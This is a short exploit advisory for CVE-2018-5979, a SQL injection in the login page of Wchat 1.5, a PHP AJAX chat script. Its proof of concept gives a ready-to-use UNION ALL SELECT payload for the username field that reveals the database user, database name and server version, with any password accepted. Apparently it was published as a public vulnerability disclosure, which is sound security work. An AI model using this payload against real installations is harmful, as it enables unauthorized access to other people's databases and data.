# # # # # # Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection # Dork: N/A # Date: 23.01.2018 # Vendor Homepage: http://bylancer.com/ # Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319 # Version: 1.5 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-5979 # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # 1) # http://localhost/[PATH]/login.php # # User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX # Pass: anything # # # # # #